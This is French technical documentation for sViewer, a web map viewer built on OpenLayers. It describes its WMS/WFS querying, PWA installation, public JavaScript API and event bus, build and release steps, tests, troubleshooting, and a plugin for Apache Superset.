Ces hints sont lus par jsonLayerAdapter (voir section jsonLayerAdapter ci-dessus) pour reproduire exactement le même rendu dans sViewer standalone, sans auto-détection.
Les valeurs par défaut des contrôles couleur/opacité du panneau de configuration sont lues depuis customConfig.geojsonStyle (ou hardConfig.geojsonStyle). En l'absence de configuration, les valeurs codées en dur sont : #ff6600, opacité 0.35, épaisseur 2.5 px (identiques à geojsonStyle).
La table Grist _sviewer_customConfig n'est plus utilisée. Les clés feature_color et feature_highlight_color sont migrées automatiquement vers fill_color et sel_fill_color lors du premier chargement.
EPSG:3857 (Web Mercator) est l'unique projection supportée.
Toutes les données WMS doivent être dans cette projection ou seront reprojetées automatiquement par le serveur OGC.
Cliquer sur la carte déclenche une requête WMS GetFeatureInfo si une donnée queryable est visibile.
Résultats :
- Affichage en panneau latéral
- Tableau HTML ou texte selon le serveur
- Maximum
maxFeaturesrésultats
Erreurs courantes :
- « Aucun résultat » : pas de donnée queryable à cette position
- « Interrogation a échoué » : erreur CORS, URL non accessible, ou serveur refuse la requête
Saisie libre d'adresse/lieu → requête vers le service géoplateforme.
Résultats :
- Liste avec score de pertinence
- Clic sur un résultat = panoramique + zoom vers le lieu
- Marqueur temporaire
Limitations :
- Couverture variable selon région
Activé par ?s=1. Interroge les données WFS associées aux données WMS queryables, en parallèle de la géoplateforme.
Au démarrage (doConfiguration), pour chaque donnée queryable :
WMS DescribeLayer → découvre l'URL WFS + typeName
WFS DescribeFeatureType → découvre les champs et leurs types
Résultat stocké dans layer.wfs :
url: endpoint WFStypeName: nom du type de featurefields: tous les champs scalaires (string, int, date, etc.) — pour l'affichagesearchFields: champsxsd:stringuniquement — pour le filtrePropertyIsLikegeomField: nom du champ géométrie (exclu de l'affichage)
Si DescribeLayer ou DescribeFeatureType échoue, layer.wfs.url reste null et la donnée est silencieusement ignorée.
keyup (debounce 350ms)
→ abortSearchXhrs() annule les XHR WFS en cours
→ openLsRequest() géoplateforme IGN (parallèle)
→ searchAllWFSLayers() pour chaque donnée avec wfs.url valide :
WFS GetFeature
FILTER: OR(PropertyIsLike) sur searchFields
BBOX: étendue courante de la carte
maxFeatures: config.maxWfsSearchFeatures (défaut 8)
propertyName: tous les fields
→ featuresToList() rendu Mustache + ajout dans #searchResults
onSearchItemClick avec data.queryGFI = true :
- Recentre la carte sur les coordonnées du feature
- Appelle
queryMap(coordinates)→ déclenche WMS GetFeatureInfo comme un clic sur la carte
Pour chaque donnée publiée depuis geOrchestra :
- Légende graphique (si disponible)
- Titre et résumé
- Lien vers métadonnées
sViewer est configuré comme Progressive Web App. Sur navigateurs compatibles (Chrome Android, Edge, Firefox Android, etc.), un bouton "Installer" ou "Ajouter à l'écran d'accueil" apparaît.
Fichiers PWA :
manifest.json: Métadonnées (nom, icônes, thème, etc.)sw.js: Service Worker pour offline + cachingstatic/img/icon-192.png+static/img/icon-512.png: Icônes application
Service Worker (sw.js) enregistré uniquement en mode simple (index.html).
Comportement :
- Cache ressources sViewer au premier chargement
- Support offline limité (ressources en cache)
- Mise en cache automatique des resources
- Scope limité à
/sviewer/
Mode WebComponent : embed.js n'enregistre pas le SW pour ne pas affecter la page hôte.
Configuration dans manifest.json :
name: Nom complet (installation)short_name: Nom court ≤12 chars (écran d'accueil)start_url: URL de démarragescope: Portée du SWdisplay: Modestandalone(app native)icons: PNG 192x192 et 512x512theme_color+background_color: Couleurs barre d'adresse/splash
La persistance de sViewer est l'URL. Mais Android lie l'installation (WebAPK) au
start_url du manifeste (/sviewer/, nu) : une carte configurée par permalien s'installe
nue, et l'app installée n'a pas de barre d'adresse pour en charger une autre. (Une
réécriture du manifeste à l'exécution a été essayée puis abandonnée : le navigateur évalue le
manifeste avant le script — non fiable.)
Réponse — l'extension me comme hub installé. Le cœur expose deux primitives,
extension-agnostiques :
SViewer.isInstalled()— vrai uniquement en application installée autonome (PWA/WebAPK) au niveau supérieur ; faux en onglet, embed, iframe Grist/Superset. Fail-closed (toute incertitude → faux). Détection :matchMedia('(display-mode: standalone|minimal-ui| fullscreen)')+navigator.standalone(iOS) +window.self === window.top.SViewer.getPermalink()— le permalien canonique de la carte (identique au panneau Partager).
À partir de là, embed.js charge automatiquement l'extension me quand isInstalled() est
vrai. me devient le hub d'accueil et fournit, en mode installé seulement, de quoi charger une
carte sans barre d'adresse : coller une URL ou scanner un QR code (caméra +
BarcodeDetector natif, repli jsQR auto-hébergé). L'URL chargée passe par une validation
même origine (isSafeUrl) — un lien tiers ou un QR malveillant est refusé.
Le QR code d'une carte se génère depuis le panneau Partager ; on le scanne depuis me
installé → transfert bureau→terrain sans saisie.
Bouton Image dans le panneau Configuration → télécharge la vue courante en PNG.
Implémentation :
- Écoute
map.once('rendercomplete')puis litmap.getViewport().querySelector('canvas') canvas.toBlob()→URL.createObjectURL()→<a>.download→ clic programmatique- Entièrement côté client, zéro backend
Contrainte cross-origin : les sources WMS sViewer ont crossOrigin: 'anonymous'. Les données de fond/superposition définies dans customConfig.js doivent aussi avoir crossOrigin: 'anonymous' sur leur source OL, sinon le canvas est « tainted » et toBlob() lève une SecurityError (silencieuse, log console uniquement). Les services IGN Géoplateforme supportent CORS.
| Langue | Code | Status |
|---|---|---|
| Français | fr |
Défaut, complet |
| Anglais | en |
Complet |
| Espagnol | es |
Complet |
| Allemand | de |
Complet |
Toutes les chaînes traduites sont centralisées dans static/js/i18n.js :
Object.assign(window.SViewer.hardConfig, {
i18n: {
fr: {
'Query': 'Interroger',
'Legend': 'Légende',
'Close': 'Fermer'
},
en: {
'Query': 'Query',
'Legend': 'Legend',
'Close': 'Close'
},
es: { /* ... */ },
de: { /* ... */ }
}
});Étape 1 : Ajouter la clé dans static/js/i18n.js
Object.assign(window.SViewer.hardConfig, {
i18n: {
fr: { 'ma clé': 'Texte français' },
en: { 'ma clé': 'English text' },
es: { 'ma clé': 'Texto español' },
de: { 'ma clé': 'Deutscher Text' }
}
});Étape 2 : Ajouter class="i18n" title="ma clé" au HTML
<button class="i18n" title="ma clé">Placeholder</button>Étape 3 : Pour du texte JavaScript
var msg = window.SViewer.hardConfig.i18n[window.SViewer.config.lang]['ma clé'];
alert(msg);Par ordre de priorité :
- Paramètre URL
?lang=fr(code ISO 639-1 à 2 lettres) customConfig.lang- Détection navigateur (Accept-Language)
- Défaut :
en
sviewer/
├── index.html — point d'entrée mode simple
├── manifest.json — PWA manifest
├── sw.js — Service Worker
├── ext/ — extensions (Grist, CSV, élévation, isochrone, Panoramax…)
│ ├── grist/ — widget Grist (index.html, widget.js, adapter.js)
│ ├── csv/ — adaptateur CSV (adapter.js)
│ ├── altitude/ — outils altimétriques : profil en long, … (IGN Géoplateforme)
│ ├── isochrone/ — isochrones (IGN Géoplateforme navigation)
│ ├── panoramax/ — viewer Panoramax (street-level imagery)
│ └── sample/ — extension de référence commentée
├── deploy/ — config infra (nginx, Docker) — non servi
├── local/ — sandbox déployeur (optionnel, monté en volume Docker)
│ ├── customConfig.js — configuration locale (optionnel, défauts intégrés)
│ ├── customConfig_xxx.js — profils nommés (?c=xxx)
│ └── data/ — données locales, assets, etc.
├── js/ — sources non-minifiées
│ ├── embed.js
│ └── sviewer.js
└── static/ — tout ce qui est servi au navigateur
├── css/
│ └── sviewer.min.css
├── fonts/
│ ├── bootstrap-icons.subset.css
│ └── bootstrap-icons.subset.woff2
├── img/
│ ├── icon-192.png / icon-512.png / icon.svg
│ └── pin-red.png
├── js/
│ ├── embed.min.js
│ └── sviewer.min.js
├── lib/ — dépendances vendored
│ ├── bootstrap/
│ ├── bootstrap-icons/
│ ├── mustache/
│ ├── ol/ — OpenLayers + proj4
│ └── qrcode/
└── templates/ — templates Mustache (sv-*.html)
| Fichier | Responsabilité |
|---|---|
js/embed.js |
Chargement des dépendances + création du DOM + API SViewer.init() |
js/sviewer.js |
Logique métier : carte, données, requêtes, état |
css/sviewer.css |
Styles sViewer + overrides Bootstrap/OpenLayers |
local/customConfig.js |
Configuration déployeur (optionnel) |
static/js/i18n.js |
Traductions UI |
index.html |
Point d'entrée mode simple |
- Bootstrap 5 : composants UI, responsive
- OpenLayers 10 : rendu de carte, interactions OGC
- proj4.js : projections cartographiques
- Mustache : rendu de templates HTML
- qrcode.js : génération codes QR (chargement lazy)
Toutes les dépendances sont self-hosted (pas de CDN). Aucune dépendance jQuery.
embed.js
├── Crée le bus d'événements (_svBus) — exposé via window._SViewerInternals (figé)
├── Détecte baseUrl depuis l'URL du script (window.SViewer.baseUrl)
├── Stocke les options dans window.SViewer.embedOptions
├── Crée le DOM (.sv-scope container)
├── Charge en parallèle : proj4 → OpenLayers → customConfig.js
│ et en parallèle : Bootstrap JS + CSS sViewer (révèle le container)
├── Charge i18n.js
└── Charge sviewer.js
├── Merge SViewer.embedOptions dans qs (priorité sur la page hôte)
├── Charge customConfig.js via SViewer.baseUrl (chemin absolu)
└── doConfiguration() → doMap() → doGUI()
└── init() : s'abonne à sv:loadFeatures / sv:loadFeatureObjects / sv:selectFeature
émet sv:mapReady
Fusionné à partir de, dans cet ordre de priorité :
hardConfig(défauts sViewer)customConfig(configuration locale,local/customConfig.js)- Options embed
SViewer.embedOptions(passées àSViewer.init(), écrasentcustomConfig)
config = {
title, lang, geOrchestraBaseUrl,
initialExtent, maxExtent, restrictedExtent,
maxFeatures, nodata,
openLSGeocodeUrl,
layersBackground, layersQueryable, i18n,
// ... etc
}État mutable de l'application :
state = {
activePanel: 'query', // Panneau affiché
gfiok: true, // GetFeatureInfo actif
mapCenter: [x, y], // Centre actuel
mapZoom: 12,
layersVisible: [], // Données visibles
// ... etc
}SViewer.init() retourne une Promise résolue avec l'instance SViewer.app une fois sViewer prêt.
Méthodes publiques :
| Méthode | Retourne | Description |
|---|---|---|
SViewer.getMap() |
ol.Map |
Objet carte OpenLayers |
SViewer.getView() |
ol.View |
Vue OpenLayers (centre, zoom, projection) |
SViewer.getApp() |
SViewer.app |
Instance sViewer (même résultat que la Promise) |
app.getMap() |
ol.Map |
Identique à SViewer.getMap() |
app.getView() |
ol.View |
Identique à SViewer.getView() |
app.getConfig() |
object |
Configuration fusionnée (lecture seule) |
app.getState() |
object |
État interne courant (lecture seule) |
SViewer.setGeojsonUrl(url) |
— | Met à jour l'URL GeoJSON dans l'état (permalien/partage) sans recharger les données |
SViewer.onTitleChange |
callback | Fonction appelée quand l'utilisateur modifie le titre via le panneau de partage. null par défaut. Non appelée lors des modifications programmatiques (init, chargement md). Exemple : SViewer.onTitleChange = function(title) { /* persister */ }; |
SViewer.loadFeatures(geojson) |
— | Charge un GeoJSON FeatureCollection (objet JS) comme données vectorielles. Équivalent à ?geojson= mais avec données déjà parsées. |
SViewer.refreshWMS() |
— | Force le rechargement de toutes les sources tuiles WMS (vide le cache OL). Utile après une modification serveur (édition WFS-T, import planifié). |
SViewer.loadFeatureObjects(features, options) |
— | Charge un tableau d'entités OpenLayers (ol.Feature[]) déjà en EPSG:3857. Zéro reprojection, zéro sérialisation — chemin haute performance pour les widgets. Voir options ci-dessous. |
SViewer.selectFeature(id) |
— | Sélectionne une entité par son id OL (feature.getId() — champ GeoJSON id de premier niveau). Fallback sur properties.id si absent. Zoome, affiche propriétés dans le panneau. console.warn si aucune entité trouvée. |
SViewer.clearSelection() |
— | Efface la sélection courante et ferme le panneau de propriétés. |
SViewer.onMapReady(fn) |
— | Enregistre un callback appelé une fois la carte initialisée. Argument : { map, view }. |
SViewer.onFeatureClick(fn) |
— | Enregistre un callback appelé à chaque clic sur une entité vectorielle. Argument : { feature, coordinate, properties }. |
SViewer.onFeatureSelect(fn) |
— | Enregistre un callback appelé à chaque changement de sélection (clic ou selectFeature/clearSelection). Argument : { feature, properties } — null si désélection. |
SViewer.onFeaturesLoaded(fn) |
— | Enregistre un callback appelé après chaque chargement de données vectorielles. Argument : { features, count }. |
Contrôle de la vue :
SViewer.init('#ma-carte', { x: -390192, y: 6122108, z: 10 })
.then(function(app) {
var view = app.getView();
// Centrer et zoomer sans animation
view.setCenter([-390192, 6122108]);
view.setZoom(14);
// Centrer avec animation fluide
view.animate({
center: ol.proj.fromLonLat([-4.49, 48.39]),
zoom: 14,
duration: 800
});
});Ajouter des données OL sur la carte :
SViewer.init('#ma-carte', {}).then(function(app) {
var map = app.getMap();
var overlay = new ol.layer.Tile({
source: new ol.source.TileWMS({
url: 'https://my-geoserver.example.org/geoserver/wms',
params: { LAYERS: 'geor:commune', VERSION: '1.3.0' },
crossOrigin: 'anonymous'
})
});
map.addLayer(overlay);
});Réagir aux événements OL :
SViewer.init('#ma-carte', {}).then(function(app) {
var map = app.getMap();
// Clic sur la carte
map.on('singleclick', function(e) {
var lonlat = ol.proj.toLonLat(e.coordinate);
console.log('Clic :', lonlat[0].toFixed(5), lonlat[1].toFixed(5));
});
// Fin de déplacement
map.on('moveend', function() {
var view = map.getView();
console.log('Zoom :', view.getZoom());
console.log('Centre :', ol.proj.toLonLat(view.getCenter()));
});
});Note : Ces exemples utilisent l'API OpenLayers directement. Consulter la documentation OpenLayers pour l'ensemble des méthodes disponibles sur
ol.Mapetol.View.
Le bus d'événements permet aux widgets embarqués (Grist, futures intégrations) de réagir aux événements cartographiques et de piloter la carte sans accéder aux internals OpenLayers.
Canal de communication — window._SViewerInternals.bus (objet figé, non modifiable depuis l'extérieur). Créé par embed.js avant tout chargement de dépendance. Absent en mode simple (pas d'embed.js).
Options de loadFeatureObjects
| Clé | Type | Défaut | Description |
|---|---|---|---|
styleOverride |
ol.style.Style ou fonction style OL |
null |
Style personnalisé. Si absent, utilise customConfig.geojsonStyle. |
fitExtent |
boolean |
false |
Recadre la vue sur l'étendue des entités après chargement. |
Exemple — widget qui charge des entités OL et écoute les clics
// Après SViewer.init(...)
SViewer.onMapReady(function() {
// Charger des ol.Feature[] déjà en EPSG:3857
SViewer.loadFeatureObjects(olFeatures, { fitExtent: true });
});
SViewer.onFeatureClick(function(e) {
console.log('Clic sur :', e.feature.getId(), e.properties);
});
SViewer.onFeatureSelect(function(e) {
if (!e.feature) { console.log('Désélection'); return; }
console.log('Sélection :', e.properties);
});Exemple — charger un GeoJSON parsé
fetch('https://example.com/data.geojson')
.then(function(r) { return r.json(); })
.then(function(geojson) {
SViewer.loadFeatures(geojson);
});Exemple — sélectionner une entité par id
// Sélectionne l'entité dont feature.getId() === 'row_42'
SViewer.selectFeature('row_42');
// Efface la sélection
SViewer.clearSelection();Sécurité — le bus est encapsulé dans la closure embed.js et exposé via Object.defineProperty avec writable: false, configurable: false. La page hôte ne peut ni remplacer ni supprimer window._SViewerInternals.
Usage multiple — plusieurs appels onFeatureClick(fn) enregistrent plusieurs callbacks, tous appelés dans l'ordre d'enregistrement. Utiliser SViewer.onFeatureClick uniquement après que embed.js est chargé (c'est toujours le cas en mode embed).
Les fichiers minifiés sont générés via npm :
npm run minify # embed.js → embed.min.js, sviewer.js → sviewer.min.js, sviewer.css → sviewer.min.css
npm run build # build OL custom bundle + minifyindex.html charge embed.min.js. embed.min.js charge les fichiers minifiés par défaut. Avec ?debug=1, charge les sources non-minifiées.
| Source | Minifié | Outil |
|---|---|---|
js/embed.js |
static/js/embed.min.js |
terser |
js/sviewer.js |
static/js/sviewer.min.js |
terser |
css/sviewer.css |
static/css/sviewer.min.css |
postcss + cssnano |
La configuration cssnano est dans postcss.config.js (preset default).
Checklist pré-release
- Toutes les fonctionnalités mergées et testées
-
static/js/i18n.js— toutes les clefs présentes dans les 4 langues - Aucune erreur console en navigation (
?debug=true) -
CHANGELOG.mdmis à jour pour cette version
Build
-
Mettre à jour la version dans
package.json:# éditer manuellement "version": "X.Y.Z" -
Committer les changements de code, puis appliquer le stamp (injecte version + hash du dernier commit dans
embed.js) :git add -p && git commit -m "..." npm run stamp
-
Minifier :
npm run minify
-
Committer les artefacts générés (
embed.jsstampé, fichiers.min.*) :git add js/embed.js static/js/embed.min.js static/js/sviewer.min.js static/css/sviewer.min.css git commit -m "chore: stamp vX.Y.Z + minify" -
Tagger et pousser :
git tag vX.Y.Z git push && git push --tags
Vérification post-release
-
SViewer.versioncorrect dans la console navigateur - Version visible en bas du panneau de partage
- Section
[Unreleased]deCHANGELOG.mdvide
La version et le hash de commit apparaissent :
- En bas du panneau Configuration (discret, opacity 0.4)
- Dans la console du navigateur au démarrage :
sViewer X.Y.Z (abcd123) - Via l'API publique :
SViewer.version,SViewer.commit
La suite de tests est accessible à /sviewer/tests/ — aucune installation requise.
Lancer les tests :
- Ouvrir
/sviewer/tests/dans le navigateur - Cliquer sur un test dans le panneau gauche → la carte se charge dans le panneau droit, résultat affiché (✓/✗ + durée)
- Run all : lance tous les tests en séquence
- Run group : lance uniquement le groupe du test sélectionné
?autorun=1: lance tous les tests au chargement (usage CI headless)
Groupes de tests :
| Groupe | Description | CI |
|---|---|---|
| Params | Paramètres KVP URL (?x= ?y= ?z= ?c= ?lang= ?lb=) | ✓ |
| Config | Fusion hardConfig / customConfig (via ?c=test) |
✓ |
| i18n | Couverture des clefs, 4 langues | ✓ |
| Live | Endpoints WMS réels (GeoBretagne, IGN GPF) | manuel |
Les tests du groupe Live font appel à des services externes — les exclure en CI.
Ajouter un test WMS — copier un bloc dans tests/suites/04-wms-services.js, changer id, label et les arguments de makeWmsTest(). Format du paramètre layers : nom_donnee@https://url/wms.
Pour éviter les collisions avec le CSS hôte, toutes les classes sViewer utilisent le préfixe .sv- et sont englobées dans .sv-scope :
<div class="sv-scope" id="sv-container">
<div class="sv-header">
<button class="sv-btn">...</button>
</div>
</div>CSS produit :
.sv-scope .sv-header { ... }
.sv-scope .sv-btn { ... }Symptômes : Page vierge, pas de message d'erreur.
Diagnostic :
- Ouvrir la console du navigateur (F12)
- Chercher des erreurs JavaScript (red icons)
- Vérifier l'onglet Réseau (Network) : tous les fichiers se chargent-ils ?
Causes courantes :
- customConfig.js manquant → Copier
customConfig.DIST.jsencustomConfig.js - CORS erreur → Services OGC doivent supporter CORS
- Syntaxe JSON invalide → Vérifier
customConfig.js
Diagnostic :
- Vérifier que
layers=namespace:layernameest correct - Vérifier que la donnée existe sur le serveur WMS
- Ouvrir l'URL WMS directement dans le navigateur
Causes courantes :
- Erreur CORS → Le serveur WMS doit envoyer
Access-Control-Allow-Origin: * - URL WMS incorrecte → Vérifier
geOrchestraBaseUrl - Projection → La donnée doit être en EPSG:3857 ou reprojetable
Message : « L'interrogation a échoué »
Causes :
- Donnée non queryable → Vérifier
queryable="1"en GetCapabilities WMS - CORS → Erreur
No 'Access-Control-Allow-Origin' header - Erreur serveur → Code HTTP 500 du serveur WMS
Solution :
// Mode simple : ajouter &q=0 pour désactiver
?layers=geor:commune&q=0
// Mode WebComponent : omettre q pour ne pas déclencher GetFeatureInfo
SViewer.init('#map', { layers: 'geor:commune' });
``
### Traductions manquantes
**Symptôme :** Texte en anglais au lieu de traduction.
**Cause :** Clé manquante dans `hardConfig.i18n[lang]`.
**Solution :** Ajouter la traduction manquante dans `static/js/i18n.js`.
---
## Plugin Apache Superset
Plugin graphique natif (`sviewer_map`) pour Apache Superset 4.x. Pas de fork, pas de redémarrage — l'administrateur enregistre le bundle via l'interface Plugins.
### Installation
Activer le feature flag dans `superset_config.py` :
```python
FEATURE_FLAGS = {"DYNAMIC_PLUGINS": True}
Enregistrer le plugin : Paramètres → Plugins → Ajouter :
https://votre-serveur/sviewer/ext/superset/dist/superset-plugin-chart-sviewer.js
Clé : sviewer_map
Le plugin construit un <iframe> pointant vers sViewer avec ?ext=superset. sViewer charge automatiquement ext/superset/extension.js (même origine).
Dataset Superset
→ buildQueryContext (filtres natifs mergés côté serveur)
→ FeatureCollection GeoJSON (transformProps)
→ postMessage sv:geojson → iframe sViewer
→ SViewer.loadFeatures() → carte redessinée
Le champ URL sViewer accepte une URL de partage complète. Tous les paramètres sont transmis intégralement à l'iframe — position, zoom, fond de carte, données WMS, thème, extensions (s=1, q=1, ext=print…). Le plugin ajoute uniquement ext=superset (s'il est absent) et title= (nom du graphique Superset).
La symbologie est calculée côté plugin, injectée dans les propriétés GeoJSON :
| Propriété | Rôle |
|---|---|
_sv_color |
Couleur CSS de l'entité (fixe ou rampe graduée) |
_sv_radius |
Rayon en pixels (symboles proportionnels, points uniquement) |
_label |
Libellé affiché en infobulle |
Modes de normalisation disponibles : racine carrée, linéaire, logarithmique, quantile, Jenks (coupures naturelles), rang.
cd ext/superset
npm install
npm run build # → dist/superset-plugin-chart-sviewer.jsCommitter dist/ après chaque build.
→ Documentation utilisateur complète
- OpenLayers 10 : https://openlayers.org/
- OGC WMS 1.3.0 : https://www.ogc.org/standards/wms
- geOrchestra : https://www.georchestra.org/
- GeoServer : https://geoserver.org/